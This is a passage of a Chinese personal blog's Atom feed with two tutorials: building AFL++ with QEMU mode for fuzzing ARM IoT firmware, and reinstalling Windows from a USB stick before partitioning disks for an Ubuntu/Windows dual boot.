<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>坠入星野的月🌙</title>
  
  <subtitle>Welcome</subtitle>
  <link href="https://www.uf4te.cn/atom.xml" rel="self"/>
  
  <link href="https://www.uf4te.cn/"/>
  <updated>2025-10-31T18:21:50.000Z</updated>
  <id>https://www.uf4te.cn/</id>
  
  <author>
    <name>uf4te</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>AFL++环境搭建与模糊测试</title>
    <link href="https://www.uf4te.cn/posts/f5dbafd0.html"/>
    <id>https://www.uf4te.cn/posts/f5dbafd0.html</id>
    <published>2024-10-14T15:06:13.000Z</published>
    <updated>2025-10-31T18:21:50.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="安装-AFL"><a href="#安装-AFL" class="headerlink" title="安装 AFL++"></a>安装 AFL++</h1><blockquote><p>AFL++ 又叫 AFLplusplus，是 Google 的 AFL 的一个分支，具有更快的速度，更多的突变，更多的自定义模块等</p><p>参考文章：<a href="https://www.anquanke.com/post/id/269066">IOT Fuzzing框架AFL++ （上）-安全客 - 安全资讯平台</a></p></blockquote><p>首先安装依赖：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token function">git</span> <span class="token function">make</span> build-essential clang ninja-build pkg-config libglib2.0-dev libpixman-1-dev<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>获取远程仓库，并构建 QEMU 环境支持：（<strong>因为大部分 IoT 固件架构不是 x86 的，可能是 arm 或者 mips，因此需要 QEMU 环境进行仿真才能 fuzz</strong>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">git</span> clone https://github.com/AFLplusplus/AFLplusplus.git<span class="token builtin class-name">cd</span> AFLplusplus<span class="token function">make</span> all<span class="token builtin class-name">cd</span> qemu_mode<span class="token comment"># 指定 ARM 架构</span><span class="token assign-left variable">CPU_TARGET</span><span class="token operator">=</span>arm ./build_qemu_support.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">涉及到 AFL++ 的环境搭建和一些基础的 Fuzz 操作，算作是使用 Fuzz 进行漏洞挖掘的入门吧，CTF 通常是单个程序因此不常使用 Fuzz，但是在现实的大项目中 Fuzz 是很好用的利器</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CVE" scheme="https://www.uf4te.cn/tags/CVE/"/>
    
    <category term="QEMU" scheme="https://www.uf4te.cn/tags/QEMU/"/>
    
    <category term="IoT" scheme="https://www.uf4te.cn/tags/IoT/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>U盘重装系统以及Ubuntu与Windows双系统</title>
    <link href="https://www.uf4te.cn/posts/194d06e.html"/>
    <id>https://www.uf4te.cn/posts/194d06e.html</id>
    <published>2024-09-28T04:30:04.000Z</published>
    <updated>2025-10-29T08:18:51.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="U-盘重装系统"><a href="#U-盘重装系统" class="headerlink" title="U 盘重装系统"></a>U 盘重装系统</h1><blockquote><p>这是我比较喜欢的一种重装方式，因为自主可控性强，尤其是 PE 系统（<strong>适合喜欢折腾的人</strong>）</p><p>由于物理机只能同时运行一个操作系统，当你的硬盘和 U 盘中存在多个操作系统时，BIOS 只能选择进入其中一个操作系统，而从当前运行的操作系统视角来看，硬盘和 U 盘中的其他操作系统只是一些普通的文件而已，不会干扰到当前系统的运行。这就是 PE 系统的强大之处，在 PE 系统中你可以为所欲为</p></blockquote><p><mark>这应该是本站第一篇直面所有计算机小白的文章，基本上不涉及太多计算机专业知识，小白也可以上手自己重装系统，致力于帮助小白少走弯路</mark></p><p>由于安装双系统其实就是在硬盘里安装两个操作系统，因此我们还是先从重装系统说起</p><hr><h2 id="制作-Windows-启动盘并重装系统"><a href="#制作-Windows-启动盘并重装系统" class="headerlink" title="制作 Windows 启动盘并重装系统"></a>制作 Windows 启动盘并重装系统</h2><h3 id="微软官方工具"><a href="#微软官方工具" class="headerlink" title="微软官方工具"></a>微软官方工具</h3><blockquote><p>这是一个比较简单的方法，适合只需要重装系统，简简单单没有其他需求的人</p><p>但我个人更喜欢 PE 系统来安装 Windows，因为 PE 你可以选择任何版本的 Windows 来安装，只要你有 iso 镜像就行，自主可控性强</p></blockquote><p>这种方式制作启动盘比较简单，其实也没什么好说的。。。</p><p>微软官网有专门制作启动 U 盘的工具：<a href="https://support.microsoft.com/zh-cn/windows/%E5%88%9B%E5%BB%BA%E9%80%82%E7%94%A8%E4%BA%8E-windows-%E7%9A%84%E5%AE%89%E8%A3%85%E4%BB%8B%E8%B4%A8-99a58364-8c02-206f-aa6f-40c3b507420d">创建适用于 Windows 的安装介质 - Microsoft 支持</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F1.png" alt="U盘重装系统以及Ubuntu与Windows双系统1.png"></p><p>选择一个你需要的 Windows 版本，然后下载它提供的软件，以 Windows 11 为例：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F2.png" alt="U盘重装系统以及Ubuntu与Windows双系统2.png"></p><p>上面那个安装助手是直接在本机系统环境里重装系统（适合不喜欢折腾，没有自定义强迫症的人），下面这个安装媒体才是创建启动 U 盘</p><p>运行下载好的软件，取消勾选，选择 Windows 11 不带家庭版的（Windows 11 是合集版，包含了 Windows 11 家庭中文版，还有专业版、教育版等其他版本，具体区别自己查阅）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F3.png" alt="U盘重装系统以及Ubuntu与Windows双系统3.png"></p><p>然后选择制作 U 盘：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F4.png" alt="U盘重装系统以及Ubuntu与Windows双系统4.png"></p><p>然后选中你想要制作启动盘的 U 盘，按操作继续就行，<strong>注意这个过程会格式化 U 盘，如果 U 盘里有数据请先备份</strong></p><p>操作完后，重启电脑，进入电脑的 BIOS，更换启动顺序，让 U 盘的启动顺序在最前面，<strong>这里不同品牌的电脑操作也不一样，自行百度，不再赘述</strong></p><p>如果还是不会操作，或者觉得太麻烦，那就直接依次点击：<code>设置 --&gt; 系统 --&gt; 恢复 --&gt; 高级启动</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F6.png" alt="U盘重装系统以及Ubuntu与Windows双系统6.png"></p><p>等电脑重启后，会自动进入类似于下面的界面，选择使用设备，然后选择你的 U 盘：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F7.png" alt="U盘重装系统以及Ubuntu与Windows双系统7.png"></p><p>然后电脑就自动从 U 盘启动，进入安装 Windows 的过程了，接下来按照引导操作即可</p><p>给硬盘分区可以直接在安装 Windows 的过程中进行，先分好区，然后将 Windows 安装在 C 盘中，不再赘述，不会的可以参考：<a href="https://robotrs.lenovo.com.cn/ZmptY2NtYW5hZ2Vy/p4data/Rdata/Rfiles/410.html">如何在安装Windows系统过程中删除、创建分区</a></p><blockquote><p>注意：如果你没有 U 盘，你也可以直接选择下载 iso 镜像文件</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F9.png" alt="U盘重装系统以及Ubuntu与Windows双系统9.png"></p><p>等下载完后，目录下会有一个名字类似于 <code>Win11_23H2_Chinese_Simplified_x64v2.iso</code> 的文件，解压它，双击文件夹里的 <code>setup.exe</code> 按照提示即可重装系统，这里不再赘述</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F5.png" alt="U盘重装系统以及Ubuntu与Windows双系统5.png"></p><p>如果 iso 镜像文件下载很慢，可以在 MSDN 下载（需要安装 <a href="https://www.xunlei.com/">迅雷</a> 进行下载）：<a href="https://msdn.itellyou.cn/">MSDN, 我告诉你 - 做一个安静的工具站</a></p><p>如果还是不会操作，详细操作可以参考这篇文章：<a href="https://blog.csdn.net/qq_46429858/article/details/104715144">Win10 重装系统 （iso方式）（超详细） win10.iso怎么安装-CSDN博客</a></p></blockquote><hr><h3 id="PE-系统"><a href="#PE-系统" class="headerlink" title="PE 系统"></a>PE 系统</h3><blockquote><p>PE 系统是 Windows 的预先安装环境，可以理解为一个微型 Windows 系统，但是它一般只包含一些装机工具和修复工具，可以用来安装系统或者修复系统，<strong>通常 PE 系统是直接安装在 U 盘里</strong></p></blockquote><p>下载创建 PE 系统环境的工具，这里以微 PE 为例：<a href="https://www.wepe.com.cn/download.html">微PE工具箱 - 下载</a>（<em>可以选择捐赠，但是不捐赠也可以下载的，首先声明我不是在打广告</em>）</p><p>选择安装 PE 到 U 盘：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F10.png" alt="U盘重装系统以及Ubuntu与Windows双系统10.png"></p><p>选择需要装入 PE 系统环境的 U 盘，其他的保持默认即可，U 盘卷标可以自己随意取个名字，方便区分</p><p>然后点击立即安装 PE 到 U 盘（<strong>注意这个过程会格式化 U 盘，如果 U 盘里有数据请先备份</strong>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F11.png" alt="U盘重装系统以及Ubuntu与Windows双系统11.png"></p><blockquote><p>注意：上图的安装方法里面提到了 UEFI 和 Legacy，下面简单做一些知识储备，感兴趣的可以去自行了解</p><p>UEFI 和 Legacy 是电脑的两种不同启动方式，以前的老电脑一般是 Legacy 方式启动，<strong>现在的新电脑一般都是 UEFI 启动了，如果你是笔记本电脑，大概率出厂自带的就是 UEFI 启动</strong></p><p><strong>最重要的区别在于：如果是 UEFI 启动，硬盘格式通常为 GPT；如果是 Legacy 启动，硬盘格式通常为 MBR。因此，现在一般推荐 UEFI + GPT 的方式安装系统</strong></p><p>另外，<strong>UEFI + GPT 的方式通常需要硬盘存在 ESP + MSR 两个分区，这里的 ESP 分区是用来引导 UEFI 启动系统的；而 Legacy + MBR 的方式通常不需要 ESP 分区</strong></p><p><em>不过，不了解这些也不影响我们安装 PE 系统（只影响后面安装 Windows），这里保持默认即可</em></p></blockquote><p>安装完后，可以看到 U 盘被拆分开了，其中一个盘很小，并且卷标为 EFI，这个是 PE 系统的分区，不用管它；然后另一个盘比较大，我们可以正常当 U 盘存放文件</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F12.png" alt="U盘重装系统以及Ubuntu与Windows双系统12.png"></p><p><strong>重要 ！！！在进入 PE 系统安装 Windows 之前，还需要将下载好的 Windows iso 镜像文件复制到 U 盘里（卷标为 PE 的那个），如果 U 盘空间不够的话也可以复制到 D 盘里（总之不能放在 C 盘）</strong>，不会下载 iso 镜像的，参考《<a href="194d06e.html#%E5%BE%AE%E8%BD%AF%E5%AE%98%E6%96%B9%E5%B7%A5%E5%85%B7">微软官方工具</a>》一节</p><p>操作完后，重启电脑，进入电脑的 BIOS，更换启动顺序，让 U 盘的启动顺序在最前面，<strong>这里不同品牌的电脑操作也不一样，自行百度，不再赘述</strong></p><p>如果还是不会操作，或者觉得太麻烦，那就直接依次点击：<code>设置 --&gt; 系统 --&gt; 恢复 --&gt; 高级启动</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F6.png" alt="U盘重装系统以及Ubuntu与Windows双系统6.png"></p><p>等电脑重启后，会自动进入类似于下面的界面，选择使用设备，然后选择你的 U 盘</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F7.png" alt="U盘重装系统以及Ubuntu与Windows双系统7.png"></p><p>不出意外的话，电脑就自动进入 PE 系统了，PE 系统界面长这样：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F13.png" alt="U盘重装系统以及Ubuntu与Windows双系统13.png"></p><blockquote><p>如果还是不会操作，详细操作可以参考这篇文章：<a href="https://cloud.tencent.com/developer/article/2140508">利用微PE装机工具制作U盘启动盘并重装系统详细教程-腾讯云开发者社区-腾讯云</a></p></blockquote><p>在 PE 系统中打开 DiskGenius，首先将 C 盘格式化，然后可以根据需要，调整 C 盘大小（反正都已经打算重装系统，只要将重要的数据提前备份了，硬盘想怎么分区都可以随便造）</p><p>硬盘具体怎么分区、分多大空间，各人有各人的习惯，就不再赘述了，如果不会用 DiskGenius 给硬盘分区的可以自行去了解，使用很简单的，非常人性化</p><p><strong>注意硬盘格式化之后，可以选择将硬盘 4k 对齐，或者对齐到 4096 Bytes，意思是一样的，这样可以提升磁盘性能</strong></p><p>以下图为例，这是我个人电脑目前的硬盘分区情况：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F14.png" alt="U盘重装系统以及Ubuntu与Windows双系统14.png"></p><p><strong>重要 ！！！在安装 Windows 之前，如果你是 UEFI + GPT 的方式，在 C 盘前面一定要有两个分区，一个 ESP（通常默认为 98 MB，文件系统可以设置为 FAT16 或者 FAT32），一个 MSR（通常默认为 128 MB，文件系统默认为 MSR）</strong></p><p><strong>用来装系统的 GPT 硬盘，这里的 ESP 分区一定要有（不装系统的话就无所谓了），因为这个 ESP 分区是用来引导 UEFI 启动 Windows 系统的</strong></p><p>如果没有 ESP 分区的话，打开 DiskGenius，点击用来装系统的那个硬盘，选择快速分区，勾选创建新 ESP 分区：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F15.png" alt="U盘重装系统以及Ubuntu与Windows双系统15.png"></p><p>然后打开桌面上的 Windows 安装器，从上到下依次选择：Windows 的 iso 镜像文件、ESP 分区（通常很小，只有几十几百兆）、装 Windows 的那块硬盘（也就是 Windows 中的 C 盘，<em>根据实际情况来，因为在 PE 系统下你认为的 C 盘也许实际的驱动器号并不是 C，也可能是 D、F 等，可以根据硬盘大小来判断，但是等你装好 Windows 系统后，它就变成了实实在在的 C 盘</em>），如下图所示：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F35.png" alt="U盘重装系统以及Ubuntu与Windows双系统35.png"></p><p><strong>注意！！！红框中的三个灯必须不出现红灯，才能正常安装系统（出现黄灯不影响，全绿当然最好）</strong>，如果 <code>EFI PART</code> 红灯，大概率是因为硬盘没有 ESP 分区导致的，上面已经说了如何创建 ESP 分区，如果还有其他问题，可以百度排查，因为我也很少遇到</p><p>在版本那里记得选一下 Windows 版本，专业版比较好，笔记本一般自带的是家庭版（其实就是阉割版），然后点击开始安装，其他的默认即可</p><p>等进度条走完，重启系统，拔掉 U 盘即可直接进入 Windows 系统</p><blockquote><p>当然在 PE 系统下你也可以通过解压 iso 镜像文件，运行里面的 <code>setup.exe</code> 装系统，不再赘述</p></blockquote><hr><h2 id="制作-Linux-启动盘并重装系统"><a href="#制作-Linux-启动盘并重装系统" class="headerlink" title="制作 Linux 启动盘并重装系统"></a>制作 Linux 启动盘并重装系统</h2><h3 id="Rufus"><a href="#Rufus" class="headerlink" title="Rufus"></a>Rufus</h3><p>下载 Rufus：<a href="https://rufus.ie/zh/">Rufus - 轻松创建 USB 启动盘</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F8.png" alt="U盘重装系统以及Ubuntu与Windows双系统8.png"></p><p>下载 Linux 的 iso 镜像，建议在 <a href="https://mirrors.tuna.tsinghua.edu.cn/">清华大学开源软件镜像站</a> 下载，可以选择 Ubuntu 或者 Kali Linux（但是<strong>实测貌似 Ubuntu 安装在物理机上的兼容性更好</strong>）</p><ul><li><p>Ubuntu 镜像：<a href="https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/">Index of &#x2F;ubuntu-releases&#x2F; | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror</a></p></li><li><p>Kali Linux 镜像：<a href="https://mirrors.tuna.tsinghua.edu.cn/kali-images/">Index of &#x2F;kali-images&#x2F; | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror</a></p></li></ul><p>我这里以 Ubuntu 为例，下载好 iso 镜像后（一般下载名字带 desktop 的那个 iso 版本），打开 Rufus：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F16.png" alt="U盘重装系统以及Ubuntu与Windows双系统16.png"></p><p>首先在设备那一栏选择你的 U 盘，然后点击选择，找到你下载好的 iso 镜像文件，分区类型选择 GPT，其他默认即可，点击开始</p><p>等状态栏的进度走完，关闭 Rufus</p><p>操作完后，重启电脑，进入电脑的 BIOS，更换启动顺序，让 U 盘的启动顺序在最前面，<strong>这里不同品牌的电脑操作也不一样，自行百度，不再赘述</strong></p><p>如果还是不会操作，或者觉得太麻烦，那就直接依次点击：<code>设置 --&gt; 系统 --&gt; 恢复 --&gt; 高级启动</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F6.png" alt="U盘重装系统以及Ubuntu与Windows双系统6.png"></p><p>等电脑重启后，会自动进入类似于下面的界面，选择使用设备，然后选择你的 U 盘：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F7.png" alt="U盘重装系统以及Ubuntu与Windows双系统7.png"></p><p>然后电脑就自动从 U 盘启动，进入安装 Ubuntu 的过程了，接下来按照引导操作即可</p><p>安装 Ubuntu 的重点在分区的位置，选择其他选项：（<strong>不喜欢折腾的可以直接选上面那个，系统自动帮你分区，但是会将整个硬盘格式化，如果有重要数据需要先自行备份</strong>，<em>有相关知识、喜欢尝试的，建议选下面的，自己设置，尤其是在物理机上安装 Ubuntu 的用户</em>）</p><blockquote><p><mark>注意：如果是想安装双系统，请务必选下面那个！！！小心误删另一个系统就凉凉了</mark></p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F17.png" alt="U盘重装系统以及Ubuntu与Windows双系统17.png"></p><p>点击红框这里的箭头，可以看到电脑中所有的硬盘，以及硬盘的分区情况：（<strong>我这里是虚拟机演示的，硬盘还没有分区</strong>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F26.png" alt="U盘重装系统以及Ubuntu与Windows双系统26.png"></p><p>如果分区了，可能会显示这样：（<em>红框代表一整块硬盘，这个硬盘的设备名为 <code>/dev/sda</code>，蓝框则是这块硬盘的分区，例如目前分了 4 个区，设备名分别为：<code>/dev/sda1</code>、<code>/dev/sda3</code>、<code>/dev/sda4</code>，其中 <code>/dev/sda2</code> 作为交换分区不可见</em>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F27.png" alt="U盘重装系统以及Ubuntu与Windows双系统27.png"></p><p>然后选择用来装 Ubuntu 系统的硬盘（<strong>如果是物理机，可能不止一块硬盘、不止一个分区，请务必看清楚是哪一块硬盘后再操作</strong>），新建分区表：（如果已经有分区了，可以自行去调整分区大小，各人习惯不同，不再赘述）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F18.png" alt="U盘重装系统以及Ubuntu与Windows双系统18.png"></p><p>总结下来，主要就是分 4 个区：</p><ol><li>引导分区：类似于 Windows 里面的 ESP 分区，必须要有，一般设置为 200MB（512MB 等等都行，就怕少了不够用多了又浪费），硬盘足够的可以给 1GB</li></ol><p>注意：<strong>以下两种引导分区方式选其一即可，现在的电脑一般都是默认 UEFI 启动，因此推荐使用 <code>/boot/efi</code> 分区的方式</strong></p><ul><li><code>/boot/efi</code> 分区（<strong>适用于 UEFI + GPT 的启动方式</strong>）：EFI 系统分区（ESP）的挂载点，专用于 UEFI 环境的一个特殊分区（<em>现在的新电脑推荐选择这一种</em>）</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/Linux%E8%99%9A%E6%8B%9F%E6%9C%BACTF%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA37.png" alt="Linux虚拟机CTF环境搭建37.png"></p><ul><li><code>/boot</code> 分区（<strong>适用于 Legacy + MBR 的启动方式</strong>）：启动扇区，主要用于存放启动加载程序、内核映像和其他启动所需的配置文件</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F19.png" alt="U盘重装系统以及Ubuntu与Windows双系统19.png"></p><ol start="2"><li><code>swap</code> 分区：交换空间，类似于 Windows 的虚拟内存，如果主机内存不够用，可以将这部分空间当作内存使用（<em>虽然现在电脑的内存都挺大的，一般情况下用不到虚拟内存，但还是建议设置一下吧</em>）</li></ol><p>具体分配大小并无绝对，以下数据可供参考：</p><table><thead><tr><th align="left">物理内存</th><th align="left"><code>swap</code> 分区大小</th></tr></thead><tbody><tr><td align="left">&lt; 4GB</td><td align="left">物理内存的 2 倍</td></tr><tr><td align="left">4GB - 8GB</td><td align="left">与物理内存一致</td></tr><tr><td align="left">8GB - 64GB</td><td align="left">8 GB</td></tr><tr><td align="left">64GB - 256GB</td><td align="left">32 GB</td></tr></tbody></table><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F20.png" alt="U盘重装系统以及Ubuntu与Windows双系统20.png"></p><ol start="3"><li><code>/</code> 主分区：用来存放系统文件，类似于 Windows 的 C 盘，但事实上不需要分配太大，一般 20GB 足够（<em>有存储焦虑的朋友建议还是给大一点，别问我怎么知道的</em>）</li></ol><p><strong>如果硬盘足够的可以给大一点，因为一些软件也是默认安装到 <code>/opt</code> 目录下的，就像 Windows 很多软件默认安装在 C 盘一样，也是会占用 <code>/</code> 分区下的空间的</strong></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F21.png" alt="U盘重装系统以及Ubuntu与Windows双系统21.png"></p><ol start="4"><li><code>/home</code> 分区：用户目录，类似于 Windows 的 <code>C:\\Users\\wyy</code> 目录，也就是 Ubuntu 的终端初始路径 <code>~/</code>（<em>当然，你也可以不单独创建 <code>/home</code> 分区，而是将这一部分合并到 <code>/</code> 分区中，看个人习惯了</em>）</li></ol><p><strong>这一部分比较常用，相当于 Windows 的 D 盘，可以给大一些，硬盘剩余空间全部给这个分区即可</strong></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F22.png" alt="U盘重装系统以及Ubuntu与Windows双系统22.png"></p><blockquote><p>如果不懂 <code>/</code> 分区和 <code>/home</code> 分区的区别，可以看看这篇文章：<a href="https://blog.csdn.net/cxrshiz7890/article/details/106430677">[Linux学习] 安装linux时，配置根分区和home分区的区别和联系_linux根分区和home分区-CSDN博客</a></p></blockquote><p>分区完成后，大概就是这样：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F23.png" alt="U盘重装系统以及Ubuntu与Windows双系统23.png"></p><p>然后注意，一定要选择安装在引导分区（<code>/boot/efi</code> 或者 <code>/boot</code>）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F24.png" alt="U盘重装系统以及Ubuntu与Windows双系统24.png"></p><p><img 